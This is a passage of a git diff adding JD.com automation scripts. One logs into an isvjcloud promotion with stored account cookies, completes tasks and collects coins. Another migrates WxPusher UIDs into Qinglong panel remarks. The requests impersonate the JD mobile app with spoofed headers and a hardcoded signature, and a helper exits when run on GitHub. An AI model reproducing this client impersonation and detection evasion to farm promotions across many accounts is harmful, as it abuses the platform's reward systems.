'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruidddj-isv.isvjcloud.com/api/user/jd/auth', + body: `token=${$.token2}&source=01`, + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'Authorization': 'Bearer undefined', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Sec-Fetch-Mode': 'cors', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Sec-Fetch-Site': 'same-origin', + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/exception/?channel=DDLY&sid=fd5e44488241862af88cb40cbebf660w&un_area=12_904_3373_62101', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': `IsvToken=${$.isvToken};` + }, + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data.body.access_token + console.log($.token) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function detail() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/detail', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + } + }, (err, resp, data) => { + if (!err) { + try { + resolve(JSON.parse(data).body.task_component.task_vos) + } catch (e) { + resolve("黑号") + } finally { + resolve([]) + } + } + }) + }) +} + +function do_task(token, id, type) { + return new Promise(resolve => { + // console.log(token, id, type) + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + body: `token=${token}&task_id=${id}&task_type=${type}` + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + if (data.status === '0') { + let result = data.body.result + console.log(`任务成功:本次获得 ${result.acquired_score},账户总额 ${result.user_score}`) + resolve(200); + } else { + console.log('任务失败!') + resolve(502) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function makeShareCode() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=jdf_queryBothwayFriendsInfo', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'Cookie': cookie + }, + body: "body=%7B%7D&build=167694&client=apple&clientVersion=10.0.2&openudid=fc13275e23b2613e6aae772533ca6f349d2e0a86&sign=399128e7314f716adbf1ca9d9c205a10&st=1623850849392&sv=110" + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + resolve(data.data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function get_produce_coins() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/club/get_produce_coins', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + console.log("收币:", data) + if (data.status === '0') { + let coins = parseInt(data.body.coins) + console.log(`收币成功:获得 ${coins}`) + } else { + console.log('收币失败!') + resolve(500) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(200) + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_UpdateUIDtoRemark.js b/jd_UpdateUIDtoRemark.js new file mode 100644 index 0000000..0cffd9d --- /dev/null +++ b/jd_UpdateUIDtoRemark.js @@ -0,0 +1,521 @@ +/* +cron "30 10 * * *" jd_UpdateUIDtoRemark.js, tag:Uid迁移工具 + */ + +const $ = new Env('WxPusherUid迁移工具'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const got = require('got'); +const { + getEnvs, + getEnvById, + DisableCk, + EnableCk, + updateEnv, + updateEnv11, + getstatus +} = require('./ql'); + +let strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +const fs = require('fs'); +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到WxPusherUid文件,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + + +!(async() => { + const envs = await getEnvs(); + if (!envs[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + var struid = ""; + var strRemark = ""; + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempid = 0; + if(envs[i]._id) + tempid = envs[i]._id; + if(envs[i].id) + tempid = envs[i].id; + + cookie = await getEnvById(tempid); + + if(!cookie) + continue; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + console.log(`\n**********检测【京东账号${$.index}】${$.UserName}**********\n`); + strRemark = envs[i].remarks; + struid = getuuid(strRemark, $.UserName); + if (struid) { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + strRemark = strRemark + "@@" + struid; + } else { + var DateTimestamp = new Date(envs[i].timestamp); + strRemark = strRemark + "@@" + DateTimestamp.getTime() + "@@" + struid; + } + + if (envs[i]._id) { + var updateEnvBody = await updateEnv(cookie, envs[i]._id, strRemark); + + if (updateEnvBody.code == 200) + console.log("更新Remark成功!"); + else + console.log("更新Remark失败!"); + } + if (envs[i].id) { + var updateEnvBody = await updateEnv11(cookie, envs[i].id, strRemark); + + if (updateEnvBody.code == 200) + console.log("新版青龙更新Remark成功!"); + else + console.log("新版青龙更新Remark失败!"); + } + + } + } + } + +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + var strUid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + } + } + if (!strTempuuid && TempCKUid) { + console.log(`查询uid`); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strUid = TempCKUid[j].Uid; + break; + } + } + } + console.log(`uid:`+strUid); + return strUid; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", 